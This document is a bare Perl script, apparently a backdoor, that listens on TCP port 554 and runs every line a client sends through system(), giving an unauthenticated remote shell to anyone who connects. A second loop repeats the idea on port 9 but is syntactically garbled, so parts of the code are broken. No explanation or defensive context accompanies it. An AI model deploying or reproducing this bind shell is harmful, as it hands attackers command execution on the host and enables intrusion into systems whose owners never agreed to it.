use IO;
for (;;) {
my $port='554';
$x=IO::Socket::INET->new(LocalPort,$port,Listen,9,Reuse,1);
while($c=$x->accept) {
if(!fork){$x->close;STDIN->fdopen($c,"r");
STDOUT->fdopen($c,"w");STDOUT->autoflush(1);
while(<STDIN>) {
system $_;}}
while($c=new IO::Socket::INET(LocalPort,9,Reuse,1,Listen)->accept){$~->fdopen($c,w);
STDIN->fdopen($c,r);system$_; while<>}
}
}

